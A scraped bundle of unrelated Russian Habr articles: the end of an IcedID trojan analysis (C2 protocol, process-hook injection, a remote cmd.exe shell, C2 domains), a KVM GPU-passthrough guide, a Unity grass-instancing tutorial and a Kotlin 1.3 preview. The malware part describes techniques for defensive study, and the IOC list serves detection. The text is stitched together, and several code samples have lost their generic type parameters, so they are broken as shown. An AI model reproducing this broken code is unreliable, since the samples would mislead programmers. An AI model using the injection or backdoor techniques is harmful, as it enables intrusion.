Таким образом, при минимальном вмешательстве в процесс браузера IcedID удалось выстроить следующую схему MITM:
*Схема IcedID MITM*
Имея сертификат, Proxy-сервер и пропатченные браузеры IcedID получает полный контроль над трафиком браузеров, даже если все данные находятся за SSL.
### BC-модуль
И этот модуль предназначен… для обработки команд сервера! Да-да, вы не ослышались: еще один модуль обработки команд. Давайте сразу рассмотрим, какой GET-запрос он делает на управляющий сервер:
Собственно, значение **BAADBEEF** — BotID, **0BADFACE** — LoaderID, а за параметром **Sec-WebSocket-Key** скрывается временная метка. Похоже, данный модуль использует **WebSocket** для общения с управляющим сервером (кстати, используется те же адреса, что и в Alive-модуле, и порт 443). К сожалению, провести глубокое изучение протокола и сравнить его с RFC уже нет времени, поэтому давайте сразу перейдем к командам, которые приложение получает от управляющего сервера и обрабатывает:
| Команда | Параметры | Описание |
| --- | --- | --- |
| 1 | IP | Сменить IP |
| 2 | - | Отправить PING на сервер |
| 3 | - | PONG-ответ сервера |
| 4 | Команда | Выполнить fast-команду |
Да, BC-модуль умеет исполнять **fast**-команды, что является прерогативой Alive-модуля. Пожалуй, самая интересная команда — сменить IP. В качестве параметра приложение получает IP-адрес управляющего сервера, на который он подключается к порту 8080. Все общение с сервером осуществляется по собственному бинарному протоколу, заголовок которого выглядит следующим образом:
```
struct BcMessageStruct
{
int auth;
byte command;
int id;
int key;
};
```
Где поле **auth** не менялось как минимум с пятой версии ядра IcedID: константа **0x974F014A**, **id** — BotID а **key** — LoaderID. Поле **command** может принимать следующие значения:
| Значение | Описание |
| --- | --- |
| 0 | Запрос команды |
| 1 | Изменить период обращения к серверу |
| 2 | Ошибка на стороне клиента, данный пакет приложение отправляет, если, например, не удалось запустить VNC-модуль |
| 3 | Команда на переподключение |
| 4 | Запустить SOCKS-модуль |
| 5 | Запустить VNC-модуль |
При подключении к серверу приложение отправляет пакет с command-полем 0, на что сервер отвечает ему командой. Так происходит в бесконечном цикле с интервалом. На словах все снова сложно, поэтому воспользуемся силой ~~воображения~~ изображения:
*Ход исполнения команды Change IP в BC-модуле*
Схема получилось упрощенной, не стал включать 1, 2 и 3 команды. Итак, давайте посмотрим, как происходит запуск VNC- и SOCKS-модулей.
#### Запуск VNC-модуля
Запуск VNC-модуля осуществляется в контексте нового процесса **svchost.exe**. Сам модуль находится в теле IcedID в сжатом виде и при помощи функции **RtlDecompressBuffer()** распаковывается (но не запускается) в контексте трояна. Как и основной модуль IcedID, VNC-модуль состоит из двух частей: shell-код, предназначенный для развертывания трояна в контексте **svchost.exe**, и сам модуль.
В первую очередь IcedID запускает новый процесс **svchost.exe** в suspended-режиме без аргументов, после чего записывает туда VNC-модуль и параметры, необходимые для работы модуля: IP-адрес CnC, порт, BotID, Key и т.д. А запуск модуля осуществляется довольно интересным образом: вместо того, чтобы создать новый поток в контексте нового процесса, IcedID ставит хук на стандартную функцию **RtlExitUserProcess()**. Выглядит это следующим образом:
После этого он запускает работу процесса функцией **ResumeThread()**. Так как процесс был запущен без аргументов, он очень быстро завершит свою работу и вызовет функцию **RtlExitUserProcess()**, которая уже не та, что была при запуске приложения, и JMP-инструкция передаст управление на shell-код VNC-модуля, который будет выполнять уже свои грязные дела. Примечательно, что старые версии трояна именно таким образом разворачивали главный модуль IcedID в контексте **svchost.exe**, но по какой-то причине разработчик загрузчика отказался от этой идеи и сейчас запуск IcedID осуществляется гораздо проще.
#### Запуск SOCKS-модуля
Как вы уже догадались, данный модуль предназначен для проксирования трафика между двумя удаленными серверами. Фактически SOCKS-модуль является **backonnect proxy** и выполняет соответствующие функции: устанавливает соединение с удаленным CnC-сервером, запрашивает адрес, порт и параметры, устанавливает соединение и проксирует трафик между CnC и удаленным сервером (может быть легитимным). А теперь чуть подробнее.
После получения команды на запуск модуля приложение отправляет на сервер объект структуры **BcMessageStruct**, где **command** — 4, а значения **id** и **key** позаимствованы из структуры-запроса. В ответ сервер отсылает данные, состоящие из заголовка, адреса и порта удаленного сервера, с которым необходимо установить соединение. Адрес может быть как доменом, так и IP. Заголовок состоит из 5 байт, вот краткое описание двух наиболее интересных полей:
| Смещение | Описание |
| --- | --- |
| 2 | Тип адреса: домен или IP |
| 3 | Тип запроса: SOCKS(0) или cmd(1) |
После заголовка следуют данные — адрес и порт. Снова сложно? Тогда и для этого есть схема!
*Схема работы SOCKS-модуля*
А теперь неожиданный поворот: если управляющий сервер устанавливает соединение и указывает в качестве пары адрес — порт значение 127.0.0.1:39426, а поле «тип запроса» — 1, то приложение запускает… процесс **cmd.exe**.
Зачем разработчик выполнил запуск **cmd.exe** в SOCKS-модуле, а не в модуле обработки команд (которых, к слову, целых два), я объяснить не могу. Просто расскажу, как он это делает: при создании **cmd.exe** IcedID привязывает ввод-вывод нового процесса к двум pipe'ам, после чего создает два потока: один в цикле читает данные с сервера и отсылает в pipe-записи, второй читает из pipe'а чтения и отправляет на сервер. Таким образом удаленный сервер может запускать командный интерпретатор и исполнять в нем команды.
*Схема исполнения cmd-команд управляющим сервером*
Тут должно быть заключение
--------------------------
Думаю, пора подводить итоги. За полтора года IcedID вырос над собой, научился эффективнее «прятать» данные в файловой системе и сетевом трафике, обзавелся зачатками ВМ-детекта и антиотладочными методами — и это далеко не полный список. Разработчик продолжает активно развивать свой проект, и его упорству могут позавидовать многие большие open source-проекты. Мы продолжаем следить за развитием трояна, улучшать свои продукты и держать вас в курсе интересных обновлений.
**IOCs**
**Loader/Downloader — second stage:**
* c897c555d395627dedf7e9e91623f54c
* f89d448700de774c0b27762f327bd13f
* ca59e8c577f8476dce210bc51c8daf9a
* c7ebf2e9976f494355fee936749202a3
* 589b2d1eff18b651f8344e6a40f6cecf
* 753a45bfeb6877c2d9d841824d8f59a8
**Encrypted main module:**
* 6A44BEFDED3DA2245EF3A78E396CE5E0 — described in this article
**CnC:**
* hXXps://poloturtles[.]top/audio
* hXXps://robertogunez[.]xyz/audio
* hXXps://gotofresno[.]xyz/audio
* hXXps://fordthunderbirth[.]site/audio
* hXXps://luxcarlegend[.]top/audio
* hXXps://nicebirththunder[.]cloud/audio
* hXXps://totheocean[.]pw/audio | https://habr.com/ru/post/501972/ | null | ru | null |
# Проброс видеокарты в KVM из под ubuntu
#### Предистория
Года два назад я решил перейти полностью на линукс, но необходимость в венде не упала, поэтому всегда держал у себя 2 операционные системы. Около месяца назад попробовал поставить VirtualBox и на нее установить Windows, в общем то работать с 2мя операционными системами мне понравилось, но была одна проблема, я программирую исключительно компьютерную графику и мне нужна была поддержка OpenGL 3.3 и выше, к сожалению VirtualBox не предоставлял мне такой возможности. Погуглив наткнулся на такую штуку как Xen, долго пытался что-то сделать на ней, в итоге ничего не вышло, скорее всего из-за основной видеокарты — nVidia GeForce 580 GTX, гипервизор попросту не хотел запускать даже убунту, не говоря уже об виндовсе. Начал искать другие гипервизоры, и наткнулся на KVM, с ним пришлось повозиться, но в конце концов все заработало.
#### Конфигурация
Итак, нам понадобится:
* Процессор с поддержкой виртуализации (в Intel — это VT-d, в AMD — AMD-Vi). Важно: чипсет тоже дожен поддерживать эту технологию
* Материнская плата с блоком управления памятью ввода/вывода(IOMMU)
* Две видеокарты, для гостевой ОС желательно использовать AMD видеокарту, т.к. с ней проблем не должно быть. Видеокарты NVidia не работают.
Моя конфигурация:
* Процессор AMD Phenom II x4
* Материнская плата ASUS M5A99X EVO R2.0
* Видеокарта для Ubuntu: NVidia GeForce 580 GTX
* Видеокарта для гостевой ОС: AMD Radeon HD 5800
#### Подготовка
Для начала следует перезагрузиться в биос и включить IOMMU. Чтобы проверить работает ли IOMMU для AMD:
`dmesg | grep -iE "(IOMMU|AMD-Vi)"`
или для Intel:
`dmesg | grep -iE "(IOMMU|VT-d)"`
Теперь нужно включить iommu в grub. Открываем /etc/default/grub, ищем GRUB\_CMDLINE\_LINUX, приводим к виду:
`GRUB_CMDLINE_LINUX="max_loop=64 iommu=pt iommu=1 amd_iommu=fullflush"`
Таким образом мы увеличиваем количество LOOP устройств, включаем поддержку IOMMU для AMD. Если у вас при загрузке операционной системы все стало сплющенным (обычно это из-за 2х видеокарт), то к предыдущей строке добавьте nomodeset, получим:
`GRUB_CMDLINE_LINUX="nomodeset max_loop=64 iommu=pt iommu=1 amd_iommu=fullflush"`
Так же, для уменьшения глюков, можно запретить скачивание драйверов от AMD (если у вас обе видеокарты от AMD, то не стоит этого делать) добавив их в blacklist. Открываем /etc/modprobe.d/blacklist.conf и добавляем следующее:
`blacklist fglrx`
`blacklist radeon`
Теперь нужно подготовить видеокарту для проброса, отключив ее от драйвера на хосте и подключив к pci-stub. Для выбора нашей карты вводим lspci и ищем нашу карту:
`02:00.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI Cypress PRO [Radeon HD 5850]`
`02:00.1 Audio device: Advanced Micro Devices [AMD] nee ATI Cypress HDMI Audio [Radeon HD 5800 Series]`
в моем случае это 02:00.0 и 02:00.1. 02:00.1 — это звуковой чип. Видеокарта видна как видео и аудио, поэтому их стоит переносить вместе.
Затем, нам нужны vendor id и device id. посмотреть можно запустив lspci с ключем -n
`02:00.0 0300: 1002:6899`
`02:00.1 0403: 1002:aa50`
теперь подключим наши устройства к pci-stub. Видеокарта:
`echo "1002 6899" > /sys/bus/pci/drivers/pci-stub/new_id`
`echo "0000:02:00.0" > /sys/bus/pci/devices/0000\:02\:00.0/driver/unbind`
`echo "0000:02:00.0" > /sys/bus/pci/drivers/pci-stub/bind`
обратите внимание, в между VendorID и DeviceID не ставится двоеточие.
Звуковая карта:
`echo "1002 aa50" > /sys/bus/pci/drivers/pci-stub/new_id`
`echo "0000:02:00.1" > /sys/bus/pci/devices/0000\:02\:00.1/driver/unbind`
`echo "0000:02:00.1" > /sys/bus/pci/drivers/pci-stub/bind`
для удобства, можно написать скрипт и добавить его в автозапуск.
**Показать скрипт**
```
#!/bin/bash
hostgr="0000:02:00.0"
hostau="0000:02:00.1"
grid="1002 6899"
auid="1002 aa50"
#
echo $grid > "/sys/bus/pci/drivers/pci-stub/new_id"
echo $hostgr > "/sys/bus/pci/devices/$hostgr/driver/unbind"
echo $hostgr > "/sys/bus/pci/drivers/pci-stub/bind"
echo $auid > "/sys/bus/pci/drivers/pci-stub/new_id"
echo $hostau > "/sys/bus/pci/devices/$hostau/driver/unbind"
echo $hostau > "/sys/bus/pci/drivers/pci-stub/bind"
```
#### Установка
Для начала вам нужно установить несколько пакетов:
`sudo apt-get install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils`
это установка на сервер без гуи, для удобной работы с kvm установим также virt-manager:
`sudo apt-get install virt-manager`
После этого в меню должен появится пункт «Менеджер виртуальных машин» (Virtual Machine Manager)
Далее передадим модулю kvm опцию allow\_unsafe\_assigned\_interrupts=1. Создаем файл в /etc/modprobe.d/kvm.conf с содержанием и перезагружаем моудль.
`options kvm allow_unsafe_assigned_interrupts=1`
Далее запускаем virt-manager, появится окно:
Нажимаем правой кнопкой по localhost и выбираем New либо жмем на мониторчик слева в панели. Далее по инструкции создаем виртуальную машину. После установки системы можно пробрасывать нужные нам устройства. Войдите в меню View->Details. Должно появиться такое окно:
Жмем на кнопку Add hardware, выбираем PCI Host Device, и ищем нашу видеокарту. Тоже самое стоит проделать и со звуковым чипом от видеокарты. Таким же образом можно пробросить USB хосты, чтобы они заработали, стоит указать в Controller USB в поле Model: USB2.
При запуске в устройствах компьютера должен появиться наш адаптер:
Следущее что нам нужно сделать — это скачать драйвер. Скачиваем с сайта производителя и устанавливаем его в систему. У меня при попытке установить драйвер система отчаяно уходила в BSOD, решил я эту проблему установкой более новой винды. Также можно попробовать установить драйвер через диспетчер устройств, но у меня он просто напросто зависал.
Для завершения выключаем виртуальную машину и производим перезагрузку компьютера, если этого не сделать, при повторном запуске система может уйти в BSOD.
На данный момент, kvm при повторном запуске гостя с проброшенной видеокартой вешает всю систему, поэтому, если вы выключили виртуалку, то придется так же перезагружать весь компьютер.
#### Итог
Теперь, после старта консоль виртуальной машины отключится после загрузки драйвера видеокарты, в случае Windows 7 там остается картинка «Starting Windows», но само изображение должно уже выводится на проброшенную видеокарту. Хотя на коносль и не будет выводится изображение, тем не менее она будет передавать данные от устройств ввода и можно будет управлять гостем с клавиатуры и мыши как обычную виртуалку.
Цепляем второй монитор к проброшенной видеокарте, и любуемся проделанной работой.
На последок скриншот оценки производительности системы:
#### Источники
[help.ubuntu.com/community/KVM](https://help.ubuntu.com/community/KVM)
[www.linux.org.ru/wiki/en/Проброс\_видеокарты\_в\_виртуальную\_машину](http://www.linux.org.ru/wiki/en/Проброс_видеокарты_в_виртуальную_машину) | https://habr.com/ru/post/183468/ | null | ru | null |
# Делаем траву в Unity при помощи GPU Instancing
Добрый день! Хочу поделиться с вами некоторым опытом по оптимизации с использованием GPU Instancing.
Постановка задачи примерно такая: игра под мобильные платформы, одним из элементов которой является поле с травой. Фотореалистичность не требуется, low poly стиль. Но при этом игрок должен иметь возможность взаимодействовать с травой. В нашем случае выкашивать. Делать будем на Unity 2021.2.7 (но жесткой привязки к версии нет) с URP.
Конечный результат можно увидеть на гифке.
Приготовления
-------------
Для начала создадим нашу low poly травинку. Так как камера в игре никогда не вращается, то можно немного поэкономить и использовать только два треугольника:
Вряд ли этот меш будет похож на траву, если останется статичным, поэтому нам потребуется что-нибудь похожее на ветер. Делать его мы будем шейдером и для этого нам потребуется правильно подготовить UV, а именно: нижние вершины должны быть внизу текстуры, а верхняя соответственно сверху. Примерно так:
Теперь сделаем Shader Subgraph, который будем использовать в наших дальнейших экспериментах:
Немного пояснений. На вход подается несколько параметров, ответственных за ветер и мировая позиция вершины. Для вычисления ее сдвига ветром мы прогоняем позицию через Simple Noise чтобы все травинки на сцене колыхались не синхронно. И далее через UV и Lerp мы определяем насколько ветровой сдвиг должен быть применен к данной вершине.
Теперь можно проводить наши эксперименты.
**Так же хочу сразу отметить, что что все замеры производительности будут производиться на не самом быстром Xiaomi Redmi 8A.**
Вариант "в лоб"
---------------
Прежде чем что-то оптимизировать мы должны убедиться, что в этом есть необходимость. Посмотрим как покажет себя SRP Batcher на том количестве травинок, которое будет устраивать нас визуально.
Сперва сделаем полноценный шейдер:
Теперь приступаем к засеву поляны:
```
_startPosition = -_fieldSize / 2.0f;
_cellSize = new Vector2(_fieldSize.x / GrassDensity, _fieldSize.y / GrassDensity);
var grassEntities = new Vector2[GrassDensity, GrassDensity];
var halfCellSize = _cellSize / 2.0f;
for (var i = 0; i < grassEntities.GetLength(0); i++) {
for (var j = 0; j < grassEntities.GetLength(1); j++) {
grassEntities[i, j] =
new Vector2(_cellSize.x * i + _startPosition.x, _cellSize.y * j + _startPosition.y)
+ new Vector2(Random.Range(-halfCellSize.x, halfCellSize.x),
Random.Range(-halfCellSize.y, halfCellSize.y));
}
}
_abstractGrassDrawer.Init(grassEntities, _fieldSize);
```
Генерируем равномерное поле с небольшой долей случайности. Оно у нас плоское, поэтому Vector2 вполне достаточно для координат. Далее передаем этот массив координат на "отрисовку". Сейчас это просто расстановка GameObject в нужном количестве.
```
public override void Init(Vector2[,] grassEntities, Vector2 fieldSize) {
_grassEntities = new GameObject[grassEntities.GetLength(0), grassEntities.GetLength(1)];
for (var i = 0; i < grassEntities.GetLength(0); i++) {
for (var j = 0; j < grassEntities.GetLength(1); j++) {
_grassEntities[i, j] = Instantiate(_grassPrefab,
new Vector3(grassEntities[i, j].x, 0.0f, grassEntities[i, j].y), Quaternion.identity);
}
}
}
```
Получаем такую картину:
Визуально мы достигли желаемого (в реальной игре другой ракурс камеры, есть декор, текстура земли и прочее, к тому же сама трава засеивается только в нужных областях, поэтому выглядит получше, но количество травинок совпадает: 15-20к). Но вот fps конечно подводит. Значит можно думать об оптимизации.
GPU Instancing
--------------
После прочтения [официальной документации](https://docs.unity3d.com/2021.2/Documentation/Manual/GPUInstancing.html) становится понятно, что это именно то, что нам нужно. Попробуем им воспользоваться.
В инспекторе материала нашей травы можно найти галочку "Enable GPU Instancing" и включить ее. Но, к сожалению, [все не так просто](https://forum.unity.com/threads/srp-batcher-and-gpu-instancing.833362/). Если мы запустим сцену и посмотрим на Frame Debugger, то увидим, что по-прежнему работает SRP Batcher, но не GPU Instancing. Все дело в том, что эти две технологии несовместимы, поэтому нам надо как-то отключить SRP Batcher. Есть несколько способов сделать это.
#### 1. Выключить в настройках URP
Этот способ вряд ли можно назвать рекомендованным. Не зря в свежих версиях Unity эту галочку убрали из инспектора. Но найти ее по-прежнему можно через Debug режим инспектора вашего URP ассета. Нам этот способ не подходит, потому что кроме травы в игре есть много других вещей, для которых SRP Batcher нас устраивает.
#### 2. Сделать несовместимым шейдер
Способ не самый удобный, потому что необходимо [отредактировать сам шейдер](https://docs.unity3d.com/Manual/SRPBatcher.html#intentionally-removing-compatibility). А в случае Shader Graph необходимо сначала еще сгенерировать код шейдера, который потом отредактировать. И при каждом изменении графа эту операцию нужно повторять. Далее согласно документации: "*Add a new*[*material property*](https://docs.unity3d.com/Manual/SL-Properties.html)*declaration into the shader’s*`Properties` block. Don’t declare the new material property in the `UnityPerMaterial` constant buffer". Почему-то в моем случае это не сработало и шейдер оставался SRP compatible, поэтому я просто закомментировал объявление буфера:
```
//CBUFFER_START(UnityPerMaterial)
float4 _MainTexture_TexelSize;
half _WindShiftStrength;
half _WindSpeed;
half _WindStrength;
//CBUFFER_END
```
Несмотря на неудобство этого способа, я выбрал именно его. Просто чтобы механизм инстанцирования и сами префабы оставались теми же, что и в первом эксперименте.
#### 3. Сделать несовместимым рендерер
Пожалуй, самый простой способ. К тому же наверняка может потребоваться использовать один шейдер с SRP Batcher и с GPU Instancing. Для этого достаточно назначить рендереру объекта [MaterialPropertyBlock](https://docs.unity3d.com/ScriptReference/MaterialPropertyBlock.html), потому что он [не совместим с SRP Batcher](https://forum.unity.com/threads/materialpropertyblock-and-srp-batcher.815499/). К тому же MaterialPropertyBlock может иметь практическую пользу. Допустим если бы мы захотели реализовать асинхронное колыхание травы не через случайный шум, а каким-то своим параметром. Либо раскрашивать траву при нажатии на нее.
После любой из этих манипуляций, мы увидим, что инстансинг заработал:
Можно сделать замеры:
Graphics API
------------
Отрисовать меш с использованием GPU Instancing можно так же напрямую через Graphics API, без необходимости использования GameObject. Для этого существуют 3 метода.
**1.** [**Graphics.DrawMeshInstanced**](https://docs.unity3d.com/ScriptReference/Graphics.DrawMeshInstanced.html)
Самый простой способ. Передаем меш, материал и массив матриц. Не требует создания специального шейдера, но имеет ограничение в 1023 инстанса за один вызов. Маловато будет.
**2.** [**Graphics.DrawMeshInstancedIndirect**](https://docs.unity3d.com/ScriptReference/Graphics.DrawMeshInstancedIndirect.html)
Не имеет ограничений на количество инстансов, которое теперь передается через ComputeBuffer. Но позиции уже нельзя передать напрямую, а нужно передавать буфером в материал. Что в свою очередь требует доработки шейдера.
**3.** [**Graphics.DrawMeshInstancedProcedural**](https://docs.unity3d.com/ScriptReference/Graphics.DrawMeshInstancedProcedural.html)
Схож с предыдущим, используется, когда количество инстансов известно из скрипта. На нем мы и остановимся.
Для начала передадим позиции наших травинок в материал:
```
_positionsCount = _positions.Count;
_positionBuffer?.Release();
if (_positionsCount == 0) return;
_positionBuffer = new ComputeBuffer(_positionsCount, 8);
_positionBuffer.SetData(_positions);
_instanceMaterial.SetBuffer(PositionsShaderProperty, _positionBuffer);
```
Далее сама отрисовка, которая должна вызываться каждый кадр:
```
private void Update() {
if (_positionsCount == 0) return;
Graphics.DrawMeshInstancedProcedural(_instanceMesh, 0, _instanceMaterial,
_grassBounds, _positionsCount,
null, ShadowCastingMode.Off, false);
}
```
Если мы попробуем использовать наш прежний материал, то все тысячи травинок будут рисоваться в одном месте, потому что наш шейдер должен теперь брать координаты из буфера. Поэтому модифицируем шейдер:
Нам потребовались две ноды с кастомными функциями.
Первая нужна нам для того чтобы мы могли воспользоваться unity\_InstanceID, с помощью которого мы будем вытаскивать позицию инстанса из буфера. Само решение было найдено [где-то в интернетах](https://forum.unity.com/threads/using-instanced-or-indirect-properties-in-a-vertex-shader.536542/) и полное теоретическое обоснование на данный момент дать не могу. Буду признателен за ссылки с пояснениями.
```
#pragma instancing_options procedural:ConfigureProcedural
Out = In;
```
Вторая функция - непосредственно извлечение позиции из буфера.
```
#if defined(UNITY_PROCEDURAL_INSTANCING_ENABLED)
StructuredBuffer PositionsBuffer;
#endif
float2 position;
void ConfigureProcedural () {
#if defined(UNITY\_PROCEDURAL\_INSTANCING\_ENABLED)
position = PositionsBuffer[unity\_InstanceID];
#endif
}
void ShaderGraphFunction\_float (out float2 PositionOut) {
PositionOut = position;
}
void ShaderGraphFunction\_half (out half2 PositionOut) {
PositionOut = position;
}
```
Теперь сделаем замеры:
Кроме неплохой производительности данный способ позволяет использовать Compute Shader для вычисления значений в буфере. Например вынести вычисления для летающей по сцене травы из C# в шейдер. [Например так](https://www.ronja-tutorials.com/post/051-draw-procedural/).
Еще немного оптимизации
-----------------------
Камера в нашей игре не вращается, но может передвигаться вдоль оси Z. Поэтому добавим легкое подобие кулинга. Так как траву мы размещали по условной сетке, то можем примерно понять какую часть массива травинок нам следует отображать в данный момент.
В классе нашей поляны будем следить за камерой и вычислять границы.
```
private void Update() {
if (_camera.transform.hasChanged) {
UpdateCameraCells();
}
}
private Vector3 Raycast(Vector3 position) {
var ray = _camera.ScreenPointToRay(position);
_plane.Raycast(ray, out var enter);
return ray.GetPoint(enter);
}
private void UpdateCameraCells() {
if (!PerformCulling) {
_abstractGrassDrawer.UpdatePositions(Vector2Int.zero, new Vector2Int(GrassDensity, GrassDensity));
return;
}
var bottomLeftCameraCorner = Raycast(Vector3.zero);
var topLeftCameraCorner = Raycast(new Vector3(0.0f, Screen.height));
var topRightCameraCorner = Raycast(new Vector3(Screen.width, Screen.height));
var bottomLeftCameraCell = new Vector2Int(
Mathf.Clamp(Mathf.FloorToInt((topLeftCameraCorner.x - _startPosition.x) / _cellSize.x), 0,
GrassDensity - 1),
Mathf.Clamp(Mathf.FloorToInt((bottomLeftCameraCorner.z - _startPosition.y) / _cellSize.y), 0,
GrassDensity - 1));
var topRightCameraCell = new Vector2Int(
Mathf.Clamp(Mathf.FloorToInt((topRightCameraCorner.x - _startPosition.x) / _cellSize.x) + 1, 0,
GrassDensity - 1),
Mathf.Clamp(Mathf.FloorToInt((topRightCameraCorner.z - _startPosition.y) / _cellSize.y) + 1, 0,
GrassDensity - 1));
_abstractGrassDrawer.UpdatePositions(bottomLeftCameraCell, topRightCameraCell);
}
```
В instanced отрисовке добавим обновление буфера.
```
public override void UpdatePositions(Vector2Int bottomLeftCameraCell, Vector2Int topRightCameraCell) {
_positions.Clear();
for (var i = bottomLeftCameraCell.x; i < topRightCameraCell.x; i++) {
for (var j = bottomLeftCameraCell.y; j < topRightCameraCell.y; j++) {
_positions.Add(_grassEntities[i, j]);
}
}
_positionsCount = _positions.Count;
_positionBuffer?.Release();
if (_positionsCount == 0) return;
_positionBuffer = new ComputeBuffer(_positionsCount, 8);
_positionBuffer.SetData(_positions);
_instanceMaterial.SetBuffer(PositionsShaderProperty, _positionBuffer);
}
```
В GameObject отрисовке будем включать/отключать объекты травы.
```
public override void UpdatePositions(Vector2Int bottomLeftCameraCell, Vector2Int topRightCameraCell) {
for (var i = 0; i < _grassEntities.GetLength(0); i++) {
for (var j = 0; j < _grassEntities.GetLength(1); j++) {
_grassEntities[i, j].SetActive(i >= bottomLeftCameraCell.x && i < topRightCameraCell.x && j >= bottomLeftCameraCell.y &&
j < topRightCameraCell.y);
}
}
}
```
Ну и сделаем замеры нашего самого производительного варианта.
А вот так это будет выглядеть на приемлемых для многих игр ~30 fps.
Так же хочется отметить заметный выигрыш в памяти за счет отказа от использования GameObject. И чем больше инстансов мы захотим, тем больше будет эта разница.
Подводные камни
---------------
К сожалению, инстансинг поддерживается не на всех девайсах. Проверить это можно через *SystemInfo.supportsInstancing.*Для этих девайсов можно включать fallback вариант со старыми добрыми GameObject, просто уменьшив их количество.
И конечно же отличились Samsung с как минимум Galaxy A50. Несмотря на то, что *SystemInfo.supportsInstancing*возвращает true (что по всей видимости правда, потому что эксепшенов нет), но что-то у них не так с буфером. Вся трава на данном девайсе упорно рисуется в одной точке. Поэтому пришлось делать проверку костылями. Но об это можно поговорить в другой раз, если кому-то будет интересно.
Заключение
----------
В данной статье я не преследовал цели глубокого сравнения и анализа отличий SRP Batcher и GPU Instancing. Да и сам инстансинг описан мной довольно поверхностно. Мне скорее хотелось рассказать про то где он может быть полезен. И как он помог решить одну конкретную задачу.
Проект из статьи можно найти [вот здесь](https://github.com/utkaka/unity-gpu-instanced-grass).
Справедливая критика приветствуется. Спасибо за внимание! | https://habr.com/ru/post/656597/ | null | ru | null |
# Текущая разработка Kotlin
На прошлой неделе при поддержке **Redmadrobot SPB** в рамках **SPB Kotlin User Group** прошла встреча со Станиславом Ерохиным, разработчиком из JetBrains. На встрече он поделился информацией о разрабатываемых возможностях следующей мажорной версии Котлина (под номером 1.3).
В этой статье мы подытожим полученный материал, расскажем о планах.
Важно. Дизайн всех фич, о которых пойдет речь, может быть изменен до неузнаваемости. Все, что ниже — это текущие планы команды, но никаких гарантий разработчики не дают.
Посмотреть доклад можно по [ссылке на YouTube](https://www.youtube.com/watch?v=gwk4rdgr36E).
Введение
--------
В ближайшей мажорной версии Kotlin (1.3) ожидается много изменений. Рассказывали нам только о некоторых из них.
Основные направления:
* Корутины
* Inline классы
* Беззнаковая арифметика
* Default методы для Java
* Метаинформация для DFA (Data Flow Analysis) и смарткастов
* Аннотации для управления type inference
* SAM для Java методов
* SAM для Kotlin методов и интерфейсов
* Smart inference для билдеров
* Изменения в схеме компилятора
Корутины
--------
В версии 1.3 планируется долгожданный релиз корутин в Котлине, в результате чего они переберутся из пакета *kotlin.coroutines.experimental* в *kotlin.coroutines*.
Позже планируется выпустить *support library* для поддержки существующего API корутин.
### Основные изменения в корутинах
* JetBrains активно работают над производительностью. Например, планируется, что в новой версии не будут генерироваться *state-machine* там, где они не нужны. За счет этого количество генерируемых объектов уменьшится
* Ведутся работы над полноценной поддержкой *suspend* для *inline* функций
* Добавится поддержка *callable reference* для *suspend* функций
* Изменится интерфейс `Continuation`
В данный момент `Continuation` содержит два метода, которые позволяют пробросить либо результат, либо ошибку.
```
interface Continuation {
fun resume(value: T)
fun resumeWithException(exception: Throwable)
}
```
В новой версии планируется использовать типизированный класс `Result`, содержащий в себе в каком-то виде значение или ошибку, а в `Continuation` оставить один метод `resume(result: Result)`:
```
class Result {
val value: T?
val exception: Throwable?
}
interface Continuation {
fun resume(result: Result)
}
```
Такая реализация сделает удобнее разработку библиотек для корутин, поскольку разработчикам не придется выполнять проверки перед каждым пробросом значения/ошибки. API этого решения точно будет изменено, но смысл сохранится.
К сожалению, у такого решения есть проблема. Чтобы все работало в текущей реализации Котлина, необходимо каждое значение оборачивать во wrapper `Result`, что приводит к созданию лишнего объекта на каждый вызов `resume`. Решением этой проблемы станут *inline* классы.
Inline классы
-------------
Пример для `Result`:
```
inline class Result(val o: Any?) {
val value: T?
get() = if (o is Box) null else o as T
val exception: Throwable?
get() = (o as? Box).exception
}
private class Box(val exception: Throwable)
```
Преимущество *inline* классов в том, что во время выполнения объект будет храниться просто как `val o`, переданный в конструкторе, согласно примеру выше, а `exception` останется в обертке `Box`. Это обусловлено тем, что ошибки пробрасываются довольно редко, и генерация обертки не повлияет на производительность. Геттеры `value` и `exception` будут сгенерированы в статические методы, а сам wrapper исчезает. Это решает проблему с созданием лишних объектов при вызове `Continuation.resume`.
### Ограничения inline классов
* Пока возможно создать *inline* класс только с одним полем, так как во время выполнения обертка стирается и остается только значение поля
* Если используются *generics*, то `Result` все равно будет обернут, так как после распаковки неизвестно, обернутый вернулся объект или нет (например, если мы используем `List`)
Беззнаковая арифметика
----------------------
Одно из возможных следствий появления *inline* классов — *unsigned* типы:
```
inline class UInt(val i: Int)
inline class ULong(val l: Long)
...
```
В стандартной библиотеке для каждого примитива будут описаны соответствующие беззнаковые варианты, в которых будут реализована работа с арифметическими операторами, а также базовые методы, такие как `toString()`.
Также будет добавлена поддержка литералов и неявное преобразование.
Default методы
--------------
В интерфейсах Котлина методы со стандартной реализацией появились раньше, чем в Java.
Если интерфейс написан на Котлине, а реализация — на Java 8, то для методов со стандартной реализацией можно будет использовать аннотацию `@JvmDefault`, чтобы с точки зрения Java этот метод был помечен как `default`.
Метаинформация для DFA и смарткастов
------------------------------------
Ещё одна интересная разрабатываемая штука — контракты, с помощью которых можно добавлять метаинформацию для DFA (Data Flow Analysis) и смарткастов. Рассмотрим пример:
```
fun test(x: Any) {
check(x is String)
println(x.length)
}
```
В функцию `check(Boolean)` передается результат проверки на принадлежность `x` типу `String`. На данном уровне неизвестно, что эта функция делает внутри, поэтому следующая строка кода вызовет ошибку (*smart-cast* в данном случае невозможен). Компилятор не может быть уверен, что `x` это `String`. Объяснить ему это помогут контракты.
Вот реализация `check` с контрактом:
```
fun check(value: Boolean) {
contract {
returns() implies value
}
if (!value) throw ...
}
```
Здесь добавлен вызов функции `contract` с довольно специфическим синтаксисом, который говорит о том, что если этот метод возвращает результат, этот результат точно `true`. Иначе будет выброшено исключение.
Благодаря такому контракту, компилятор сможет для `x` выполнить *smart-cast*, и при вызове `println(x.length)` не будет ошибки.
Помимо разрешения ситуаций с неизвестными типами, контракты позволят решать и другие проблемы. Например:
```
fun test() {
val x: String
run { x = "Hello" }
println(x.length)
}
fun run(block: () -> R): R {
contract {
callsInPlace(block, EXACTLY\_ONCE)
}
return block()
}
```
Контракт в функции `run` сообщает компилятору, что переданный `block` будет вызван ровно один раз, константа `x` корректно проинициализируется и `x.length` выполнится без ошибки.
Контракты используются компилятором, но не влияют на полученный в результате компиляции код. Все контракты преобразуются в метаинформацию, которая сообщает компилятору о некоторых допущениях в определенных функциях.
